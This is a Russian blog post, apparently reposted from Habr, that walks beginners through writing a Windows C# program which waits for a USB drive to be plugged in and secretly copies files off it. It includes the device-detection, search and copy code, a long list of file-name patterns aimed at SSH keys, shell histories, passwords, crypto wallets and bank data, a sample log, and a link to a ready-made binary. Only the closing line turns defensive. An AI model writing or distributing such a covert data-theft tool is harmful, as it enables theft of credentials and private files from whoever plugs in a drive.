{"id":263913,"date":"2015-08-19T23:10:02","date_gmt":"2015-08-19T19:10:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=263913"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=263913","title":{"rendered":"\u041f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 USB-\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f \u0432 Windows"},"content":{"rendered":"<p>     \t<b>\u0417\u0430\u0434\u0430\u0447\u0430: <\/b><br \/>  \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u041f\u041e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u044e\u0449\u0435\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e USB \u2014 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.<br \/>  \u0422.\u0435. \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u0430 (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u0440\u0430\u043a\u0442\u043e\u0432\u043a\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432).<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/915\/347\/55f\/91534755f87744d390252506eeba7ed6.jpg\" alt=\"\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b\"\/><br \/>  <b>\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:<\/b><br \/>  \u041d\u043e\u0432\u0438\u0447\u043a\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0435\u0441\u044f.<br \/>  <a name=\"habracut\"><\/a><br \/>  <b>\u041f\u0440\u0438\u043c\u0435\u0440 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u041f\u041e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c:<\/b>  <\/p>\n<ul>\n<li>1. \u0420\u0430\u0431\u043e\u0442\u043d\u0438\u043a \u043f\u0440\u043e\u0441\u0438\u0442 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0430 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0444\u043b\u044d\u0448\u043a\u0438 \u0441 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0446\u0435\u043b\u044c\u044e. \u0422\u0435\u043f\u0435\u0440\u044c \u044d\u0442\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u0440\u0443\u043a\u0430\u0445 \u0437\u043b\u043e\u0434\u0435\u044f;<\/li>\n<li>2. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0440\u0430\u0441\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0434\u0438\u043f\u043b\u043e\u043c, \u0442.\u043a. \u0434\u043e\u043c\u0430 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u043d\u0435\u0442, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b\u044c\u043d\u043e\u043c \u0446\u0435\u043d\u0442\u0440\u0435. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0438\u043f\u043b\u043e\u043c \u0438 \u0434\u0440\u0443\u0433\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0432 \u0440\u0443\u043a\u0430\u0445 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0430 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430.<\/li>\n<\/ul>\n<p>  <b>\u041f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443:<\/b><br \/>  1. \u041b\u043e\u0432\u0438\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u043e\u0434\u0430 WndProc<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code>        protected override void WndProc(ref Message m)\/\/\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0441\u044a\u0435\u043c\u043d\u044b\u0439 \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c:             base.WndProc(ref m);             const int WM_DeviceChange = 0x219; \/\/\u0447\u0442\u043e-\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0435 \u0441 usb             const int DBT_DEVICEARRIVAL = 0x8000; \/\/\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043e             const int DBT_DEVICEREMOVECOMPLETE = 0x8004; \/\/ \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e             if (m.Msg == WM_DeviceChange)                 Thread T = new Thread(\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f_\u0444\u0443\u043d\u043a\u0446\u0438\u044f);                 if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL)                       T.Start();\/\/\u043d\u043e\u0432\u043e\u0435 usb \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043e                       if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE)                     T.Abort();\/\/ usb \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e   <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  2. \u0412\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 (\u0432 \u0438\u043d\u0434\u0438\u0432\u0438\u0434\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u2014 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442 \u043a\u0430\u043a\u0438\u0435 \u0442\u0438\u043f\u044b \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c)  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0422\u0438\u043f\u044b \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 (listBox2):<\/b><\/p>\n<div class=\"spoiler_text\"><code> *.ppk *.pref *.remmina *.sh *.txt *.\u0445ml* *access*.txt *account* *accs*.txt *admin*.txt *amazon*.txt *authorized_keys* *balance*.txt *bash_history* *billing*.txt *btc*.txt*brute* *c6ep*.txt *cep\u0432ep* *codes* *connect* *contacts*.txt *database* *dedic*.txt *dedik*.txt *domain*.txt *ftp*.txt *hack*.txt *host*.txt *icq*.txt *id_*sa* *id_dsa* *id_rsa* *known_hosts* *ksh_history* *login* *mail*.txt *merchant*.txt *money* *myadmin*.txt *mysql_history* *nano_history* *parol* *pass* *pentest* *pgsql_history* *pma*.txt *pref* *qwerty* *rdp*.txt *remmina* *root* *serv*.txt *sh_history* *srv*.txt *todo*.txt *userid* *users* *vds*.txt *vpn*.txt *vps*.txt *vuln*.txt *wallet* *webmon* *zsh_history* *\u0430\u043a\u043a*.txt *\u0430\u043a\u043a\u0430\u0443\u043d\u0442* *\u0431\u0430\u0433\u0438* *\u0431\u0430\u043b\u0430\u043d\u0441* *\u0431\u0430\u043b\u0430\u043d\u0441*.txt *\u0431\u0430\u043d\u043a*.txt *\u0431\u0442\u0446* *\u0432\u0430\u0436\u043d*.txt *\u0432\u0434\u0441*.txt *\u0432\u0435\u0431\u043c\u0430\u043d* *\u0432\u0435\u0431\u043c\u0430\u043d*.txt *\u0432\u0437\u043b\u043e\u043c* *\u0432\u043f\u043d*.txt *\u0432\u043f\u0441*.txt *\u0434\u0430\u043d\u043d\u044b* *\u0434\u0435\u043d\u044c\u0433* *\u0434\u043e\u0441\u0442\u0443\u043f* *\u0437\u0430\u0434\u0430\u0447\u0438* *\u0437\u0430\u0434\u0430\u0447\u0438*.txt *\u0438\u043d\u0444\u043e*.txt *\u043a\u0430\u0440\u0442\u043e\u043d*.txt *\u043a\u0430\u0440\u0442\u044b*.txt *\u043a\u043b\u044e\u0447*.txt *\u043a\u043e\u0438\u043d* *\u043a\u043e\u0448*.txt *\u043a\u0440\u0435\u0434\u0438\u0442* *\u043b\u043e\u0433\u0438\u043d*.txt *\u043f\u0430\u0440\u043e\u043b* *\u043f\u043e\u0447\u0442\u0430* *\u043f\u0440\u0438\u0432\u0430\u0442* *\u0440\u0443\u0442*.txt *\u0441\u0435\u043a\u0440\u0435\u0442* *\u0441\u0435\u043a\u0440\u0435\u0442*.txt *\u0441\u0435\u0440\u0432\u0435\u0440* *\u0441\u0435\u0440\u0442*.txt *\u0441\u043c\u0441*.txt *\u0441\u043e\u043a\u0441*.txt *\u0441\u0447\u0435\u0442*.txt *\u0442\u0435\u0441\u0442*.txt *\u0442\u0443\u0434\u0443*.txt *\u0443\u044f\u0437\u0432\u0438\u043c* *\u0444\u0442\u043f*.txt *\u0445\u0430\u043a*.txt *\u0448\u0435\u043b*.txt *\u0448\u043e\u043f*.txt *\u044d\u043a\u043a\u0430\u0443\u043d\u0442* *\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442* access.txt adm.txt all.txt bill.txt card.txt cards.txt cc.txt centos.txt data.txt ded.txt ftps.txt full.txt hdd.txt host.txt id.txt info.txt key.txt linux.txt mail.txt mails.txt pern*.txt skype*.txt sql*.txt ssh*.txt sys.txt tconn.conf toor.txt ubuntu.txt usb.txt user.txt virtual.txt \u0440\u0435\u0433*.txt \u0441\u0431\u0435\u0440*.txt \u0441\u0441\u0445*.txt *\u043f\u0430\u0440\u043e\u043b* *pass* *pwd* *login* *\u043b\u043e\u0433\u0438\u043d* *vk.com* \u0432\u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0435 *\u043f\u043e\u0447\u0442\u044b* *.xls* *.doc* *.rtf *.JPG *.jpeg *.pgf *.bmp *.cr2 *config* *\u043f\u0438\u043d\u043a\u043e\u0434* *\u0431\u0430\u043d\u043a* <\/code>  <\/div>\n<\/div>\n<p>  3. \u0418\u0449\u0435\u043c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 USB-\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0435  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430:<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"cs\">private ArrayList F;\/\/ \u0421\u043f\u0438\u0441\u043e\u043a \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 private void \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f_\u0444\u0443\u043d\u043a\u0446\u0438\u044f()             Thread.Sleep(4000);\/\/\u0437\u0430\u0441\u044b\u043f\u0430\u0435\u043c \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u0442\u044c \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435             foreach (var dInfo in DriveInfo.GetDrives())                 if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)                                     for (int i = 0; i &lt; listBox2.Items.Count; i++)                     {                         foreach (string file in Directory.GetFiles(@dInfo.Name,                                                             listBox2.Items[i].ToString(),                                                             SearchOption.AllDirectories))                             F.Add(new FILEclass(file, Path.GetFileName(file)));                     }                 <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  5. \u041a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e USB-\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"cs\">private void cheat()         ...\u0438\u0449\u0435\u043c \u0444\u0430\u0439\u043b\u044b...         \/\/\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0430\u043f\u043a\u0443 \u043a\u0443\u0434\u0430 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c         Directory.CreateDirectory(&quot;Liked &quot; + DateTime.Now.Year +                                                  &quot;.&quot; + DateTime.Now.Month +                                                   &quot;.&quot; + DateTime.Now.Day);         int copied = 0; int copy_err = 0; int exist = 0;         for (int i = 0; i &lt; F.Count; i++)         {             string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname));             string source = ((FILEclass)(F[i])).Fullname;             string dest = Dir + @&quot;\\&quot; + ((FILEclass)(F[i])).name;             string destName = Path.GetFileName(Dir + @&quot;\\&quot; + ((FILEclass)(F[i])).name);             if (sourceName.Equals(destName))                 if (File.Exists(source))                     if (File.Exists(dest))                         try                         {                             if (FileCompare(source, dest)) exist++; \/\/\u0442\u0430\u043a\u043e\u0439 \u0444\u0430\u0439\u043b \u0443\u0436\u0435 \u0435\u0441\u0442\u044c                             else\/\/\u0444\u0430\u0439\u043b\u0430 \u043d\u0435\u0442 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c                                 File.Copy(source, Dir + @&quot;\\&quot; + Timenow() +                                                      &quot;s. &quot; + ((FILEclass)(F[i])).name);                                 copied++;                          }                         catch{copy_err++; }\/\/\u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0435\u0441\u043b\u0438 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0443\u0442                     else                     {                         try                             File.Copy(source, dest);                         catch { copy_err++; }                         copied++;                     }                 else                                         copy_err++;         } <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0444\u0430\u0439\u043b\u043e\u0432<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"cs\">        \/\/https:\/\/support.microsoft.com\/ru-ru\/kb\/320348         private bool FileCompare(string file1, string file2)             int file1byte;             int file2byte;             FileStream fs1;             FileStream fs2;             if (file1 == file2)                 return true;\/\/\u043d\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u043d \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0444\u0430\u0439\u043b             fs1 = new FileStream(file1, FileMode.Open);             fs2 = new FileStream(file2, FileMode.Open);             if (fs1.Length != fs2.Length)                 fs1.Close();                 fs2.Close();                                 return false;             do             {   \/\/\u0440\u0430\u0437\u043c\u0435\u0440 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u043b, \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u043c \u0444\u0430\u0439\u043b\u044b \u043f\u043e \u0431\u0438\u0442\u0430\u043c                 file1byte = fs1.ReadByte();                 file2byte = fs2.ReadByte();             }             while ((file1byte == file2byte) && (file1byte != -1));             fs1.Close();             fs2.Close();             return ((file1byte - file2byte) == 0); <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  6. \u0412\u0435\u0434\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u0430<br \/>  \u0414\u043e\u0431\u0430\u0432\u0438\u0432 \u043b\u043e\u0433, \u043b\u0435\u0433\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u0430\u043f\u043e\u043a \u043d\u0430 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0438 \u0447\u0442\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043e:<\/p>\n<pre><code class=\"bash\">14.08.2015 21:25:13 ============================================= \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 14.08.2015 21:25:17 \u041d\u0430\u0447\u0430\u0442 \u043f\u043e\u0438\u0441\u043a \u0444\u0430\u0439\u043b\u043e\u0432 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\123hack.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\App1\\App1\\obj\\Debug\\App1.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\App1\\App1\\obj\\Debug\\LanguageQualifiers.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\App1\\App1\\obj\\Debug\\ProjectArchitectures.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\Cisco Mars incident parser\\Cisco Mars incident parser\\obj\\Debug\\Cisco Mars incident parser.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\dots\\dots\\obj\\Debug\\dots.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\genovirus\\genovirus\\Assets\\AboutAssets.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\genovirus\\genovirus\\Resources\\AboutResources.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\TheGenoVirus\\TheGenoVirus\\obj\\Debug\\ResourceTypeUsage.txt 14.08.2015 21:25:18 \u041d\u0430\u0439\u0434\u0435\u043d \u0444\u0430\u0439\u043b F:\\\u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435\\\u0435\u0449\u0435\\TheGenoVirus\\TheGenoVirus\\obj\\Debug <\/code><\/pre>\n<p>  7. \u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 HDD \u043e\u0441\u0442\u0430\u0432\u043b\u044e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b\u00bb<\/p>\n<p>  <b>\u0412\u044b\u0432\u043e\u0434\u044b:<\/b><br \/>  \u041d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u0441\u044a\u0435\u043c\u043d\u044b\u0445 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0438 \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435 \u0438\u0445 \u043a \u043d\u0435 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.<\/p>\n<p>  <a href=\"https:\/\/cloud.mail.ru\/public\/9tc8\/uLYQceHsV\"><i>\u0413\u043e\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432 \u00ab\u041e\u0431\u043b\u0430\u043a\u043e@mail.ru\u00bb<\/i><\/a><\/p>\n<p>  <a href=\"https:\/\/www.virustotal.com\/ru\/file\/50d220b649056f611ef725d6212772405c1fddf048fadd535eabdd8c293f6b94\/analysis\/1440009871\"><i><a href=\"http:\/\/www.virustotal.com\">www.virustotal.com<\/a>: 1\/56 <\/i><\/a>(\u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u00abVBA32\u00bb \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u0430\u043a \u00abTrojan.MSIL.gen.11\u00bb).   \t\t\t\t<\/p>\n<div class=\"polling\">\n<form action=\"\/json\/polling\/\" class=\"poll\" method=\"post\">\n<div class=\"poll_title\">\u0411\u044b\u043b\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e?<\/div>\n<p>  \t\t<input type=\"hidden\" name=\"post_id\" value=\"264513\"\/> \t\t<input type=\"hidden\" name=\"polling_question_id\" value=\"13923\"\/>  \t\t<\/p>\n<table class=\"answer\">\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"radio\" id=\"vv68457\" \t\t\t\t\t\tclass=\"radio js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"68457\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv68457\">\u0414\u0430<\/label> \t\t\t\t<\/td>\n<\/tr>\n<tr>\n<td class=\"input\"> \t\t\t\t\t<input type=\"radio\" id=\"vv68459\" \t\t\t\t\t\tclass=\"radio js-field-data\" \t\t\t\t\t\tname=\"variant[]\" \t\t\t\t\t\tvalue=\"68459\" \/> \t\t\t\t<\/td>\n<td class=\"label\"> \t\t\t\t\t<label for=\"vv68459\">\u041d\u0435\u0442<\/label> \t\t\t\t<\/td>\n<\/tr>\n<\/table>\n<p class=\"total\">\u041d\u0438\u043a\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043b. \u0412\u043e\u0437\u0434\u0435\u0440\u0436\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u043d\u0435\u0442.<\/p>\n<\/p><\/form>\n<p class=\"for_users_only_msg\">\u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043e\u043f\u0440\u043e\u0441\u0435. <a href=\"https:\/\/habrahabr.ru\/auth\/login\/\">\u0412\u043e\u0439\u0434\u0438\u0442\u0435<\/a>, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430.<\/p>\n<\/p><\/div>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/264513\/\"> http:\/\/habrahabr.ru\/post\/264513\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>     \t<b>\u0417\u0430\u0434\u0430\u0447\u0430: <\/b><br \/>  \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u041f\u041e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u044e\u0449\u0435\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e USB \u2014 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.<br \/>  \u0422.\u0435. \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u043e\u0436\u0435\u0442 